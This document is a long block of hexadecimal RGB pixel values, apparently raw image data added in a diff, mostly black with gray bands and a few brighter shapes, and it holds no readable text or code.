+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000282828808080 +2B2B2B000000000000000000000000000000080808858585E0E0E0F7F7F7D7D7D7757575000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000090909D4D4D4F8F8F8D9D9D90C0C0C000000000000000000 +000000B4B4B4F2F2F27878784F4F4F7D7D7DCCCCCC000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +9D9D9DDCDCDC232323D7D7D7A3A3A3000000000000000000525252FFFFFF4C4C4C000000000000 +0000000D0D0D000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +7070707070707070707070707070700000000000005A5A5AEFEFEF282828000000232323ECECEC +626262000000000000ADADADDDDDDD000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000252525EEEEEE4444440000000000000000003E3E3EEFEFEF2B2B2B000000E0E0E0A9A9A9 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000000000000000000000 +000000000000000000000000000000000000F5F5F5949494000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 